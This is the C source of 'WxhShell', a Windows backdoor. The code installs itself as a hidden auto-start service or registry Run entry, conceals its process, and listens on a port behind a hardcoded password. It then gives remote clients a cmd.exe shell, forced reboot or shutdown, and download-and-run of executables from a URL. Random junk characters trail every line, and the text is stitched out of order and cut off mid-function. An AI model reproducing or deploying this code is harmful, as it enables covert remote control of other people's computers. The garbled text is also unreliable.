  case 'd': { mO(A'p "b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &h_do8R  
    if(Boot(SHUTDOWN)) eUeOyC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N^;rLrm*  
    else { " }oH3L  
    closesocket(wsh); =LHz[dSL  
    ExitThread(0); _,{R3k  
    } k2Y *  
    break; S"skKh4w  
    } w9Z,3J6r  
  // 获取shell 5w#7B  
  case 's': { T(2*P5%&  
    CmdShell(wsh); w_h}c$;GK  
    closesocket(wsh); CPt62j8  
    ExitThread(0); 1b4/  
    break; $zv&MD!&h  
  } $2'Q'Mx[gd  
  // 退出 xR`M#d5"  
  case 'x': { yHIZpU|(j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tVFydN~  
    CloseIt(wsh); 4<(U/58a*  
    break; `_Fxb@"R  
    } z3l(4WP  
  // 离开 LCouDk(=`  
  case 'q': { q9iHJ'lMD*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MQvk& AX  
    closesocket(wsh); s !XJ   
    WSACleanup(); <yxy ;o  
    exit(1); 5eJMu=UpR  
    break; {$fd?| 9h  
        } l`k""f69W  
  } pas^FT~  
  } |O4LR,{G.w  
rf=ndjrH  
  // 提示信息 S2,tv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [oS4W P  
} v| Yh]y  
  } {Ne5*HFV  
_(1Shm  
  return; HBp$   
} <7 R+p;y  
ayK?\srw  
// shell模块句柄 SQ0?M\D7  
int CmdShell(SOCKET sock) }K'gjs/N;  
{ |rr<4>)X  
STARTUPINFO si; %]1.)j  
ZeroMemory(&si,sizeof(si)); vtu!* 7m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y6w7sr_R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wv7hY"  
PROCESS_INFORMATION ProcessInfo; On*pI37(\  
char cmdline[]="cmd"; kX)QHNzP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .mwB'Ll  
  return 0; +]dh`8*8>1  
} H&_drxUq;L  
G%FLt[  
// 自身启动模式 S\"#E:A  
int StartFromService(void) ]21`x  
{ x*7Q  
typedef struct @/f'i9?oM`  
{ `%ulorS  
  DWORD ExitStatus; f@7HVv&  
  DWORD PebBaseAddress; J_`a}ox  
  DWORD AffinityMask; aPR XK1  
  DWORD BasePriority; %|AXVv7IN>  
  ULONG UniqueProcessId; VV$4NV&`Q  
  ULONG InheritedFromUniqueProcessId; EV.F/W h  
}   PROCESS_BASIC_INFORMATION; zz* *HwRt  
[ @ASAhV^+  
PROCNTQSIP NtQueryInformationProcess; &w'1  
 e gdbv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *VV#o/Q p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ouos f1  
#ni:Bwtl{  
  HANDLE             hProcess; G5,g$yNs  
  PROCESS_BASIC_INFORMATION pbi; ?ytY8`PC  
a>8&B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ec3zoKtV  
  if(NULL == hInst ) return 0; J5"d|i  
CAa&,ZR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PP&9ORG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [x8_ax} w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1G<S'd+N  
.Q5zmaA]  
  if (!NtQueryInformationProcess) return 0; )j\9IdkU;y  
T-a [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4H*M^?h\#  
  if(!hProcess) return 0; h-+vN hH  
?d' vIpzO!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U+-R2w]#q_  
7#+>1 "\  
  CloseHandle(hProcess); qe2@bG%2+F  
/CXQ&nwY9=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <IO@Qj1*  
if(hProcess==NULL) return 0; S;iJQS   
TD.t)  
HMODULE hMod; Dn[uzY6  
char procName[255]; ~i UG24v  
unsigned long cbNeeded; UZRN4tru6  
z2~\ b3G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?<efKs  
-Dy":/Bk  
  CloseHandle(hProcess); +F]=Z  
>qS2ha  
if(strstr(procName,"services")) return 1; // 以服务启动 y&L Lx[8 ^  
a^g}Z7D'T  
  return 0; // 注册表启动 Z9q1z~qSQ  
} eZ8DW6l*  
sv)4e)1  
// 主模块 vlC$0P  
int StartWxhshell(LPSTR lpCmdLine) I3;03X<2  
{ LbUH`0:%t  
  SOCKET wsl; p`)Mk<`dYD  
BOOL val=TRUE; C 8KV<k  
  int port=0;  {HbSty  
  struct sockaddr_in door; ^;'FC vd  
'OI(MuSn  
  if(wscfg.ws_autoins) Install(); UK5u"@T  
aNUM F  
port=atoi(lpCmdLine); p}p}!M|  
Vl/fkd,Z  
if(port<=0) port=wscfg.ws_port; 3FG'A[x3O  
hdDL92JVg  
  WSADATA data; )(+q~KA}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _sAcvKH  
sL], @z8<k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {RN-rF3w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sB0m^Y'  
  door.sin_family = AF_INET; JH._/I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3}5Ya\x  
  door.sin_port = htons(port); }CM#jN?(  
/HVxZ2bar  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dlH&8  
closesocket(wsl); N{H#j6QW  
return 1; #_Z)2ESX  
} 8Om4G]*|,  
XwIhD  
  if(listen(wsl,2) == INVALID_SOCKET) { %^l&:\ hy  
closesocket(wsl); R>hL.+l.  
return 1; k>F>y|m  
} \3T[Cy|5|  
  Wxhshell(wsl); /^$n&gI  
  WSACleanup(); PQ2rNY6  
a y$CUw  
return 0; pfQ3Y$z  
YBL.R;^v  
} Ac'pu,v  
gjzU%{T ?  
// 以NT服务方式启动 ',!>9Dj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NAX`y2z  
{ (Rsf;VPO  
DWORD   status = 0; {wD:!\5  
  DWORD   specificError = 0xfffffff; VV"w{#XKw  
1L%$\0B4hm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :cKdl[E4z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; { g4`>^;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9B/iQCFtj$  
  serviceStatus.dwWin32ExitCode     = 0; q;.LK8M  
  serviceStatus.dwServiceSpecificExitCode = 0; 45H9pY w  
  serviceStatus.dwCheckPoint       = 0; Y/T-2)D  
  serviceStatus.dwWaitHint       = 0; @<koL  
hE7rnn{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T0N6k acl  
  if (hServiceStatusHandle==0) return; q<[o 4qY  
b+$E*}  
status = GetLastError(); jB,VlL  
  if (status!=NO_ERROR) _k#!^AJ}x  
{ (5 e4>p&+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gF:| j(  
    serviceStatus.dwCheckPoint       = 0; qq"0X! w  
    serviceStatus.dwWaitHint       = 0; =1\mLI}@  
    serviceStatus.dwWin32ExitCode     = status; 0|ekwTx.  
    serviceStatus.dwServiceSpecificExitCode = specificError; fo~>y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '4}8WYKQ  
    return; +1^L35\@  
  } "sT)<Wc  
 v> s,*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4'"WD0  
  serviceStatus.dwCheckPoint       = 0; =R)w=ce  
  serviceStatus.dwWaitHint       = 0; 8?ip,Q\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9\uBX.]x  
} [-Xah]g  
Sa@T#%oU  
// 处理NT服务事件,比如:启动、停止 I~4!8W-Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i,rX. K}X  
{ +&G]\WX<  
switch(fdwControl) X6=o vm  
{ T^q^JOC4  
case SERVICE_CONTROL_STOP: c4.2o<(Xt  
  serviceStatus.dwWin32ExitCode = 0; {s{+MbD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vy-q<6T}:p  
  serviceStatus.dwCheckPoint   = 0; sl:1P^b  
  serviceStatus.dwWaitHint     = 0; :q~5Xw/  
  { VAA="yN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <fHN^O0TS  
  } u/V&1In  
  return; 4I#@xm8)  
case SERVICE_CONTROL_PAUSE: qMw_`dC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; In8{7&iVO  
  break; \Nk578+AA  
case SERVICE_CONTROL_CONTINUE: sQ+s3x1y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0"Zxbgu)  
  break; ,y@WFRsx  
case SERVICE_CONTROL_INTERROGATE: R ^ZOcONd-  
  break; mY]o_\`  
}; cPkP/3I]h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S VypR LVB  
} 5}a.<  
K+ ~1z>&  
// 标准应用程序主函数 5!aI~(3<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~[=d{M!$W  
{ D=K{(0{"/,  
G @EEh.s9  
// 获取操作系统版本 AR{$P6u!%|  
OsIsNt=GetOsVer(); O* lE0~rJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IC1nR u2I  
DXQ]b)y+N  
  // 从命令行安装 z#lIu  
  if(strpbrk(lpCmdLine,"iI")) Install(); *=tA},`\7  
y6Ez.$M  
  // 下载执行文件 LW#U+bv]Dq  
if(wscfg.ws_downexe) { @bChJl4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v+o6ZNX  
  WinExec(wscfg.ws_filenam,SW_HIDE); '}:(y$9.`  
} q=*bcDu  
pfw`<*e'  
if(!OsIsNt) { /1_O5'5+v  
// 如果时win9x,隐藏进程并且设置为注册表启动 wPq9`9 #  
HideProc(); .hUlI3z9  
StartWxhshell(lpCmdLine); pE%*r@p4&4  
} %:j`%F;R  
else ""Oir!4  
  if(StartFromService()) ,5j3(Lk  
  // 以服务方式启动 j& ykce  
  StartServiceCtrlDispatcher(DispatchTable); f$vU$>+[  
else rjj_]1?K  
  // 普通方式启动 ;- _ZWk]  
  StartWxhshell(lpCmdLine); %gWQ}QF  
gYbcBb%z  
return 0; <~aKwSF[wW  
} P4.)kK.3q|  
1 ^30]2'_  
+3sbpl2}  
s3  fQGbU  
=========================================== YT,yRV9#  
*rB@[ (/  
1K(mdL{m5  
PF#<CF$=  
 P1)87P  
fs-LaV 0  
" tx)$4v  
ya[f? 0b0  
#include <stdio.h> *.KVrS<B1  
#include <string.h> `VvQems  
#include <windows.h> 8(\J~I[^  
#include <winsock2.h> FA := )  
#include <winsvc.h> 947;6a%$  
#include <urlmon.h> vif)g6,  
w'XN<RWA  
#pragma comment (lib, "Ws2_32.lib") j\zlp  
#pragma comment (lib, "urlmon.lib") r^H,H'BohJ  
/^v!B`A @  
#define MAX_USER   100 // 最大客户端连接数 9JX@c k  
#define BUF_SOCK   200 // sock buffer {:3:GdM6  
#define KEY_BUFF   255 // 输入 buffer %3AE2"  
pvb&vtp  
#define REBOOT     0   // 重启 l<+PA$+}}  
#define SHUTDOWN   1   // 关机 %nG>3.%  
m*YfbOhs#  
#define DEF_PORT   5000 // 监听端口 FnI}N;"  
FBvh7D.hV  
#define REG_LEN     16   // 注册表键长度  \S1W,H|  
#define SVC_LEN     80   // NT服务名长度 sKJr34  
0-;>O|U3  
// 从dll定义API =vvd)og  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SlHDBr!.z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (h= ]Ox  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /W .G- |:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5#s],h  
Ab>Kfr#  
// wxhshell配置信息 ]mz'(t  
struct WSCFG { qkz|r?R)  
  int ws_port;         // 监听端口 [h !i{QD  
  char ws_passstr[REG_LEN]; // 口令 7U?#Xi5  
  int ws_autoins;       // 安装标记, 1=yes 0=no .p> ".q I  
  char ws_regname[REG_LEN]; // 注册表键名 :U=3*f.{  
  char ws_svcname[REG_LEN]; // 服务名 U@CAQ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w w[|| =  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *|y$z+g/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WRwx[[e6z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hc[@c)DH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;yyR_N S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +\;Ro18?  
W7gY$\1<&  
}; 4:^MSgra  
pLCS\AUTsv  
// default Wxhshell configuration !]E ]Xd<  
struct WSCFG wscfg={DEF_PORT, $ZZ?*I  
    "xuhuanlingzhe", )?7/fF)@|  
    1, H1L)9oa  
    "Wxhshell", xx|D#Z}G  
    "Wxhshell", |yz o|%]3  
            "WxhShell Service", ;\6@s3  
    "Wrsky Windows CmdShell Service", 60 cQ3.e  
    "Please Input Your Password: ", f F)M'C  
  1, S=.%aB  
  "http://www.wrsky.com/wxhshell.exe", V5i}^%QSs  
  "Wxhshell.exe" |=0w_)Fa]  
    };  ;(J&%  
x X[WX#'f  
// 消息定义模块 XjP &  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b/Ma,}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]7>#YKH.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &BNlMF  
char *msg_ws_ext="\n\rExit."; sD2,!/'  
char *msg_ws_end="\n\rQuit."; v\MQ?VC  
char *msg_ws_boot="\n\rReboot..."; NZ&ZK@h}.  
char *msg_ws_poff="\n\rShutdown..."; ao=e{R)  
char *msg_ws_down="\n\rSave to "; mqHH1}  
WVhQ?2@}  
char *msg_ws_err="\n\rErr!"; /5z,G r  
char *msg_ws_ok="\n\rOK!"; " DLIx}  
5c(g7N  
char ExeFile[MAX_PATH]; " C&>$h_%  
int nUser = 0; Lwx J:Kz.  
HANDLE handles[MAX_USER]; bvrXz-j  
int OsIsNt; - 0q263z  
_9H]:]1QH  
SERVICE_STATUS       serviceStatus; /; /:>c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9N{?J"ido  
hkm}oYW+  
// 函数声明 %&VI-7+K  
int Install(void); (n~fe-?}8  
int Uninstall(void); _b>{:H&\  
int DownloadFile(char *sURL, SOCKET wsh); _-TW-{7bh  
int Boot(int flag); Z2`M8xEiH  
void HideProc(void); * ?~"Jw  
int GetOsVer(void); Yy 0" G  
int Wxhshell(SOCKET wsl); uDkX{<_Xe  
void TalkWithClient(void *cs); =+Odu  
int CmdShell(SOCKET sock); oNw=O>v  
int StartFromService(void); S)wP];]`K  
int StartWxhshell(LPSTR lpCmdLine); A+foc5B  
+boL?Ix+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nxBP@Td  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cYe2 a "  
u-s*k*VHoc  
// 数据结构和表定义 ,}@4@ >?K  
SERVICE_TABLE_ENTRY DispatchTable[] = #NGtba  
{ 7&wxnxSk^  
{wscfg.ws_svcname, NTServiceMain}, WcS`T?Xa  
{NULL, NULL} )8rF'pxI  
}; o _l_Yi  
}CMGK{  
// 自我安装 ZzTkEz >  
int Install(void) zh0T3U0D  
{ >o{JG(Rn  
  char svExeFile[MAX_PATH]; F[%k ;aJ  
  HKEY key; \P9ms?((A  
  strcpy(svExeFile,ExeFile); =)c-Xz  
_?cum ~A@  
// 如果是win9x系统,修改注册表设为自启动 )g^qgxnnV  
if(!OsIsNt) { ^BRqsVw9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mD ZA\P_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qm_m8   
  RegCloseKey(key); )*XWe|H_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?PTXgIC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ILl~f\xG)  
  RegCloseKey(key); S ~h*U2  
  return 0; nK+ke)'Zv=  
    } ,ayJgAD  
  } 2gkN\w6zQ  
} r-!Qw1  
else { \,X)!%6kZ  
_h  \L6.  
// 如果是NT以上系统,安装为系统服务 &Wb"/Hn2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %HtgZeY  
if (schSCManager!=0) Z|N$qm}  
{ R"JXWw  
  SC_HANDLE schService = CreateService 3@Fa  
  ( <]KQ$8dtD  
  schSCManager, cLwnV.  
  wscfg.ws_svcname, U9^1 A*  
  wscfg.ws_svcdisp, Iy4%,8C]g  
  SERVICE_ALL_ACCESS, O$e"3^Pa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ",vK~m2W_  
  SERVICE_AUTO_START, z80FMulO  
  SERVICE_ERROR_NORMAL, Ee7+ob  
  svExeFile, L[ D+=  
  NULL, {~FPvmj&  
  NULL, [wm0a4fg  
  NULL, ik/ X!YTu*  
  NULL, OaY89ko  
  NULL ){#INmsF  
  ); pg7~%E4  
  if (schService!=0) U_izKvEh  
  { y9/nkF1p  
  CloseServiceHandle(schService); [a!AK kj  
  CloseServiceHandle(schSCManager); 6("bdx;!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @MTv4eC}e  
  strcat(svExeFile,wscfg.ws_svcname); @~|;/OY>"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x*'H@!!G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pp8G2|bz  
  RegCloseKey(key); I;E?;i  
  return 0; d_pIB@J  
    } X"q[rsB  
  } /ILd|j(e  
  CloseServiceHandle(schSCManager); eIF6f& F  
} Gds(.]_  
} [?9 `x-Q  
}i^|.VZZ  
return 1; VY8cy2  
} ^t7u4w!  
]>Z9K@  
// 自我卸载 *VJISJC  
int Uninstall(void) iEr?s-or  
{ .AO-S)wHR  
  HKEY key; <&) hg:  
V,Nu!$)J  
if(!OsIsNt) { wL, -"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <7rj,O1=  
  RegDeleteValue(key,wscfg.ws_regname); =$gBWS  
  RegCloseKey(key); Y7p@NG&1q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { & ck}3\sQ  
  RegDeleteValue(key,wscfg.ws_regname); #;^UW  
  RegCloseKey(key); _z BfNz9D  
  return 0; Q Kr/  
  } h0k?(O  
} ;Bz| hB{  
} k;t G-~\d  
else { EwV$2AK  
V~/-e- 9u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,C><n kx  
if (schSCManager!=0) \a|~#N3?  
{ lGR0-Gh2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bsU$$;  
  if (schService!=0) Y %bb-|\W  
  { SZ[?2z  
  if(DeleteService(schService)!=0) { UxHI6,b  
  CloseServiceHandle(schService); SDE+"MjBY  
  CloseServiceHandle(schSCManager); e<9 ^h)G  
  return 0;  I2i'  
  } 7* Y*_cH5  
  CloseServiceHandle(schService); 5rck]L'  
  } |36%B7H  
  CloseServiceHandle(schSCManager); Bx5xtJ|!  
} |J:r]);@K  
} #CI0G  
X,3\c:  
return 1; FA{Q6fi:2  
} :X'B K4EN  
[[<TW}  
// 从指定url下载文件 ]*k ~jY,  
int DownloadFile(char *sURL, SOCKET wsh) .4"BN<9  
{ D>W&#A8&y  
  HRESULT hr; fUWrR1  
char seps[]= "/"; \yw5`5g  
char *token; %Y;^$%X%_  
char *file; d1c+Ii%  
char myURL[MAX_PATH]; X=m^+%iD  
char myFILE[MAX_PATH]; uk$MQ v*D  
H3R{+7  
strcpy(myURL,sURL); 59j`Z^e  
  token=strtok(myURL,seps); ><"|>(y  
  while(token!=NULL) N]/cBGy  
  { Km= Y^x0  
    file=token; )b]wpEFl  
  token=strtok(NULL,seps); =,N"% }  
  } Ekq(  
sBI/`dGZV  
GetCurrentDirectory(MAX_PATH,myFILE); qQDe'f~  
strcat(myFILE, "\\"); 965x _ %  
strcat(myFILE, file); >Q@y8*E\F  
  send(wsh,myFILE,strlen(myFILE),0); Os>&:{D4!  
send(wsh,"...",3,0); Myg;2.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g7hI9(8+  
  if(hr==S_OK) d{NMG)`x\  
return 0; JS m7-p|E  
else )Z/w|5<  
return 1; P nE7}  
9{A4>  
} *?1\S^7R  
aL&egM*  
// 系统电源模块 psIo[.$rTk  
int Boot(int flag) j96}E/gF  
{ 4V,p\$;  
  HANDLE hToken; }qp)VF  
  TOKEN_PRIVILEGES tkp; H6K8.  
mUP!jTF  
  if(OsIsNt) { hV,T889'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'JdK0w#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rWNe&gFM  
    tkp.PrivilegeCount = 1; L#a!fd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %`5K8eB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R|)l^~x  
if(flag==REBOOT) { ZoJq JWsd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %$o[,13=  
  return 0; -:=m-3*Tg  
} )_j(NX-C:  
else { Wm"#"l4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zJ}abo6rVw  
  return 0; k.54lNl  
} nPI$<yW7F  
  } N3#^Ifn[  
  else { 3D@3jyo:  
if(flag==REBOOT) { c9jS !uDMK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p JF 9Z  
  return 0; eA]8M^  
} xqg4b{  
else { 4,:I{P_>6B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kGnT4R*E  
  return 0; 1CZO+MB&"$  
} d42Y `Wu  
} zq$L[ X  
q~aj" GD  
return 1; (r?hD*2r  
} @IbZci)1  
 H6nH  
// win9x进程隐藏模块 Y$,~"$su|  
void HideProc(void) v36Z*I6)5  
{ x 4LPrF1  
 ^ b5+A6?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Io IhQ  
  if ( hKernel != NULL ) <uFj5.  
  { R%}<z*~NE@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +Z_VF30pa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); alzdYiGf  
    FreeLibrary(hKernel); tXrKC  
  } oKz! Xu%Hl  
,']CqhL6=R  
return; NA0Z~Ug>  
} DEkv,e  
havmhS)O  
// 获取操作系统版本 G{X7;j e  
int GetOsVer(void) C]JK'K<7-  
{ Zz:%KUl3  
  OSVERSIONINFO winfo; FhBV.,bU,m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y?r`[{L(lA  
  GetVersionEx(&winfo); M/[_~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~AaEa,LQ  
  return 1; ?ZC!E0]  
  else sxuP"4  
  return 0; OUwnVAZZ6  
} )AcevEHB  
WB'1_a  
// 客户端句柄模块 {=d}04i)E"  
int Wxhshell(SOCKET wsl) }zkFl{/u  
{ `mD!z.`U  
  SOCKET wsh; &CXk=Wj  
  struct sockaddr_in client; t&x\@p9  
  DWORD myID; ,S(Z\[x0  
W<^t2j'  
  while(nUser<MAX_USER) *6u2c%^  
{ YE*|KL^  
  int nSize=sizeof(client); K7{B !kX4k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \BfMCA/  
  if(wsh==INVALID_SOCKET) return 1; +CSv@ />3  
)+,h}XqlX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $f+I#uJ  
if(handles[nUser]==0) O.y ?q  
  closesocket(wsh); NB^Al/V@  
else DS@Yto  
  nUser++; RTg\c[=w  
  } "|&3z/AUh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oXk6,b"  
jvR(e"  
  return 0; v/~&n  
} 8[AU`F8W  
An?#B4:  
// 关闭 socket S"^'ksL\  
void CloseIt(SOCKET wsh) jd5kkX8=  
{ sieC7raO  
closesocket(wsh); Ax=)J{4v  
nUser--; :nl,A c  
ExitThread(0); sEfT#$ a^8  
} Zi\ex\ )5  
>y#qn9rV1  
// 客户端请求句柄 pih 0ME}z  
void TalkWithClient(void *cs) r.Z g<T  
{ e9Gu`$K  
$7Z-Nn38  
  SOCKET wsh=(SOCKET)cs; 6#jql  
  char pwd[SVC_LEN]; %B1TN#KoT  
  char cmd[KEY_BUFF]; mv,a>Cvs[  
char chr[1]; T <k;^iqR  
int i,j; D-i, C~W  
6'uCwAQU  
  while (nUser < MAX_USER) { X$Q.A^9  
Vep 41\g^  
if(wscfg.ws_passstr) { a\,V>}e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NZ8X@|N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L"S2+F)n  
  //ZeroMemory(pwd,KEY_BUFF); B2LXF3#/  
      i=0; &KI|qtQ;  
  while(i<SVC_LEN) { k}}'f A  
CsT&}-C  
  // 设置超时 ]b1>bv%  
  fd_set FdRead; N|"kuRN#  
  struct timeval TimeOut; +mR^I$9  
  FD_ZERO(&FdRead); G*%U0OTi  
  FD_SET(wsh,&FdRead); DYIp2-K  
  TimeOut.tv_sec=8; hz<TjWXv'  
  TimeOut.tv_usec=0; ;P8% yf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `YZl2c<w*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tGXH)=K  
%2\Pe 2Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K/}x'*=  
  pwd=chr[0]; {^;7DV:  
  if(chr[0]==0xd || chr[0]==0xa) { z_KCG2=5  
  pwd=0; DMp@B]>  
  break; 3'A0{(b  
  } fJk'5kv  
  i++; >X iT[Ru  
    } 2w+4B4  
s?9Y3]&+&M  
  // 如果是非法用户,关闭 socket #k>A,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L>7@!/ 9L  
} qJonzFp7  
\x4:i\Fx@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DVg$rm`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }[@Q**j(  
W 9}xfy09  
while(1) { cud9oJ-=;  
 nsV=  
  ZeroMemory(cmd,KEY_BUFF); >/}p{Tj  
s!MD8i a  
      // 自动支持客户端 telnet标准   kj4=Q\Rfm  
  j=0; <*u^8lCA  
  while(j<KEY_BUFF) { @;hdZLG]`&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `*kl>}$  
  cmd[j]=chr[0]; H=Cj/jE  
  if(chr[0]==0xa || chr[0]==0xd) { !SnLvW89Z  
  cmd[j]=0; '<ZHzDW@  
  break; kou7_4oS  
  } 4 540Lw'A  
  j++; ${wp}<u_  
    } FQ47j)p;  
lt2MB#  
  // 下载文件 ;qWSfCt/^  
  if(strstr(cmd,"http://")) { "VoufXM:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k w   
  if(DownloadFile(cmd,wsh)) O kT@ _U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Z85%q^`  
  else B~& }Mv  
